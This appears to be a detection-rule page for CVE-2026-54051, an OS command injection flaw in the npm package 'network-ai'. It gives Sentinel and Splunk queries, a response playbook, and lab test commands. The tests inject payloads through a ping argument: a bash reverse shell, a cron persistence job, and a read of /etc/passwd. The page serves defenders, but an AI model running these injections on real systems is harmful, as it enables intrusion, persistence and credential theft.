Detect CVE-2026-54051: network-ai npm Package OS Command Injection in Microsoft Sentinel
Detects exploitation of CVE-2026-54051, a critical OS command injection vulnerability (CWE-78) in the npm package 'network-ai' versions prior to 5.9.1. Improper neutralization of special elements allows attackers to inject arbitrary OS commands through the package's API, potentially leading to full system compromise. A public PoC is available.
MITRE ATT&CK
KQL Detection Query
let SuspiciousProcesses = dynamic(['cmd.exe', 'powershell.exe', 'sh', 'bash', 'dash', 'zsh', 'ksh']);
let CommandInjectionPatterns = dynamic([';', '&&', '||', '`', '$(', '|', '>', '<', '%0a', '%0d']);
DeviceProcessEvents
| where TimeGenerated >= ago(24h)
| where InitiatingProcessFileName =~ 'node.exe' or InitiatingProcessCommandLine has 'network-ai'
| where FileName in~ (SuspiciousProcesses)
| where ProcessCommandLine has_any (CommandInjectionPatterns)
| project TimeGenerated, DeviceId, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, FolderPath
| extend RiskScore = case(
ProcessCommandLine has_any (dynamic(['wget', 'curl', 'nc', 'ncat', 'python', 'perl', 'ruby'])), 'Critical',
ProcessCommandLine has_any (dynamic(['/etc/passwd', '/etc/shadow', 'whoami', 'id', 'net user'])), 'High',
'Medium'
)
| order by TimeGenerated descDetects child processes spawned by Node.js that match OS command injection patterns associated with CVE-2026-54051 exploitation of the network-ai npm package.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate Node.js scripts that invoke shell commands for system administration
- CI/CD pipelines running node-based build scripts with shell exec calls
- Security tooling or monitoring agents built on Node.js that call system commands
- Developer workstations running network diagnostics tools built on network-ai
Other platforms for CVE-2026-54051
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1CVE-2026-54051 Basic Command Injection via network-ai
Expected signal: Process creation event: node spawns sh or bash child process with command line containing 'whoami'; file creation event for /tmp/cve_2026_54051_poc.txt
- Test 2CVE-2026-54051 Reverse Shell Injection Simulation
Expected signal: Process creation: node → bash with command containing /dev/tcp; network connection event from bash process to 127.0.0.1:4444
- Test 3CVE-2026-54051 Persistence via Cron Injection
Expected signal: Process creation: node → sh → crontab with new entry; crontab file modification event; subsequent periodic execution of /tmp/beacon.sh if not cleaned up
- Test 4CVE-2026-54051 Credential Harvesting via /etc/passwd Read
Expected signal: Process creation: node → sh with 'cat /etc/passwd' in command line; file read event on /etc/passwd by shell child process of Node.js; file creation of /tmp/passwd_exfil.txt
Response Playbook
Triage
- Identify the affected host and confirm whether the npm package 'network-ai' version < 5.9.1 is installed by running: `npm list -g network-ai` or checking application package.json and node_modules.
- Review process tree for Node.js processes that spawned unexpected shell children (cmd.exe, bash, sh, powershell) and capture the full command-line arguments of both parent and child processes.
- Determine if the spawned commands performed reconnaissance (whoami, id, net user, /etc/passwd), lateral movement, or data exfiltration (curl, wget, nc) by examining process execution logs and network connections.
- Check whether the application consuming network-ai is internet-facing or accepts untrusted user input that could reach the vulnerable package API functions.
- Review application logs and web server access logs for unusual request patterns, especially payloads containing shell metacharacters (;, &&, ||, backticks, $()) around the time of the alert.
Containment
- Immediately isolate the affected host from the network if active exploitation is confirmed or strongly suspected, to prevent lateral movement or data exfiltration.
- Update the network-ai npm package to version 5.9.1 or later immediately: `npm install network-ai@latest` or `npm update network-ai`. Restart the affected Node.js application service after patching.
- If patching is not immediately possible, implement WAF rules or input validation at the application layer to block payloads containing OS command injection characters before they reach the network-ai package.
Evidence Collection
- Capture a full memory dump of the affected Node.js process and its spawned child processes before termination to preserve volatile evidence including environment variables, open file handles, and network sockets.
- Collect and preserve: system process listing (ps aux/tasklist), network connections (netstat -anp), bash/PowerShell history files, Node.js application logs, web server access logs, and npm audit output showing installed package versions.
- Preserve copies of the application's package.json, package-lock.json, and node_modules/network-ai directory to document the vulnerable version in use.
Escalation Criteria
- !Escalate immediately to incident response if evidence shows successful command execution resulting in new user accounts, scheduled tasks, cron jobs, SSH key modifications, or any persistence mechanism being established.
- !Escalate if network telemetry shows outbound connections to external IPs from the Node.js process following the injection event, indicating potential C2 communication or data exfiltration.
- !Escalate if the compromised application had access to secrets, database credentials, API keys, or sensitive user data, as these must be rotated and breach notification procedures may apply.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Node.js process tree showing unexpected shell (bash, sh, cmd.exe, powershell.exe) as child of node process with network-ai in parent command line - >
System shell history files (~/.bash_history, ~/.zsh_history, PowerShell history) containing injected command sequences - >
Web server or application logs showing requests with shell metacharacters in parameters processed by network-ai functions - >
npm audit output or package-lock.json confirming network-ai version < 5.9.1 was installed at time of incident - >
New files, cron entries, scheduled tasks, or user accounts created in the timeframe surrounding the exploitation event
Tuning Guidance
Start by scoping the detection to hosts with confirmed network-ai npm package installations to reduce false positive volume. Whitelist known Node.js automation scripts and CI/CD agents that legitimately invoke shell commands. Increase confidence by chaining process ancestry (node → shell) with network connection events: if the child shell also makes an outbound connection, confidence should be elevated to high. If the environment has no legitimate use of network-ai, any alert should be treated as high-fidelity. Consider adding npm audit scheduled tasks to proactively detect vulnerable package versions before exploitation occurs.
Hunting Queries
Broad threat hunt for any Node.js process spawning shells over the past 7 days to identify CVE-2026-54051 exploitation attempts or similar command injection abuse across the environment.
DeviceProcessEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName =~ 'node.exe'
| where FileName in~ ('cmd.exe', 'powershell.exe', 'sh', 'bash', 'dash', 'zsh')
| summarize Count=count(), Commands=make_set(ProcessCommandLine, 20), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by DeviceName, AccountName, InitiatingProcessCommandLine
| where Count > 0
| order by Count descindex=* sourcetype IN ("XmlWinEventLog:Microsoft-Windows-Sysmon/Operational", "linux_audit")
ParentImage="*node.exe" OR ParentImage="*node"
| stats count values(CommandLine) as cmds dc(CommandLine) as unique_cmds earliest(_time) as first_seen latest(_time) as last_seen by host, ParentCommandLine, Image
| sort - countHunt for suspicious outbound network connections from Node.js processes to common reverse shell ports or unexpected external IPs, indicating post-exploitation C2 activity following CVE-2026-54051 abuse.
DeviceNetworkEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName =~ 'node.exe'
| where RemotePort in (4444, 1337, 9001, 8888, 6666, 7777)
or RemoteIPType == 'Public'
| where ActionType == 'ConnectionSuccess'
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl
| order by TimeGenerated descindex=* sourcetype=*network* process_name="node" OR process_name="node.exe"
| where dest_port IN (4444, 1337, 9001, 8888, 6666, 7777) OR isnotnull(dest_ip)
| stats count values(dest_ip) as destinations values(dest_port) as ports by host, process_name, src_ip
| sort - countAtomic Red Team Tests
Simulates an attacker sending a crafted input containing shell metacharacters to a Node.js application using the network-ai package, resulting in execution of an arbitrary OS command.
Command
# LAB ONLY — Install vulnerable version and test injection
npm install [email protected] 2>/dev/null
node -e "
const networkAi = require('network-ai');
// Simulate injected input - actual injection point depends on vulnerable API
const maliciousInput = '8.8.8.8; whoami > /tmp/cve_2026_54051_poc.txt';
try { networkAi.ping(maliciousInput); } catch(e) {}
"
cat /tmp/cve_2026_54051_poc.txt 2>/dev/null && echo 'INJECTION SUCCESSFUL' || echo 'Injection failed or API differs'Cleanup
rm -f /tmp/cve_2026_54051_poc.txt; npm uninstall network-ai 2>/dev/nullExpected Telemetry
Process creation event: node spawns sh or bash child process with command line containing 'whoami'; file creation event for /tmp/cve_2026_54051_poc.txt
Expected Detection
Alert fires on DeviceProcessEvents / Sysmon EventID 1 showing node.exe as parent and sh/bash as child with 'whoami' in command line
Simulates post-exploitation phase where an attacker uses the command injection vulnerability to establish a reverse shell connection back to an attacker-controlled host.
Command
# LAB ONLY — Simulates the reverse shell payload that would be injected
# Start a netcat listener first: nc -lvp 4444
npm install [email protected] 2>/dev/null
node -e "
const networkAi = require('network-ai');
const maliciousInput = '127.0.0.1; bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 &';
try { networkAi.ping(maliciousInput); } catch(e) {}
"Cleanup
pkill -f 'bash -i' 2>/dev/null; npm uninstall network-ai 2>/dev/nullExpected Telemetry
Process creation: node → bash with command containing /dev/tcp; network connection event from bash process to 127.0.0.1:4444
Expected Detection
Network-based detection firing on outbound connection from shell process spawned by Node.js; process ancestry alert for node → bash with reverse shell command line pattern
Simulates an attacker leveraging the command injection vulnerability to establish persistence by writing a cron job from within the injected shell command.
Command
# LAB ONLY — Simulates persistence establishment via injected cron job
npm install [email protected] 2>/dev/null
node -e "
const networkAi = require('network-ai');
const maliciousInput = '127.0.0.1; (crontab -l 2>/dev/null; echo \"*/5 * * * * /tmp/beacon.sh\") | crontab -';
try { networkAi.ping(maliciousInput); } catch(e) {}
"
crontab -l 2>/dev/null | grep beaconCleanup
crontab -l 2>/dev/null | grep -v beacon | crontab - 2>/dev/null; npm uninstall network-ai 2>/dev/null; rm -f /tmp/beacon.shExpected Telemetry
Process creation: node → sh → crontab with new entry; crontab file modification event; subsequent periodic execution of /tmp/beacon.sh if not cleaned up
Expected Detection
Alert on node.exe spawning crontab command; file integrity monitoring alert on crontab modification; scheduled task creation detection rule firing
Simulates an attacker using the OS command injection to read sensitive system files for credential harvesting and user enumeration.
Command
# LAB ONLY — Simulates sensitive file access via command injection
npm install [email protected] 2>/dev/null
node -e "
const networkAi = require('network-ai');
const maliciousInput = '127.0.0.1; cat /etc/passwd > /tmp/passwd_exfil.txt && id >> /tmp/passwd_exfil.txt';
try { networkAi.ping(maliciousInput); } catch(e) {}
"
cat /tmp/passwd_exfil.txt 2>/dev/null | head -5Cleanup
rm -f /tmp/passwd_exfil.txt; npm uninstall network-ai 2>/dev/nullExpected Telemetry
Process creation: node → sh with 'cat /etc/passwd' in command line; file read event on /etc/passwd by shell child process of Node.js; file creation of /tmp/passwd_exfil.txt
Expected Detection
Alert on sensitive file access (/etc/passwd) by process with Node.js parent ancestry; process execution alert matching the reconnaissance pattern in detection queries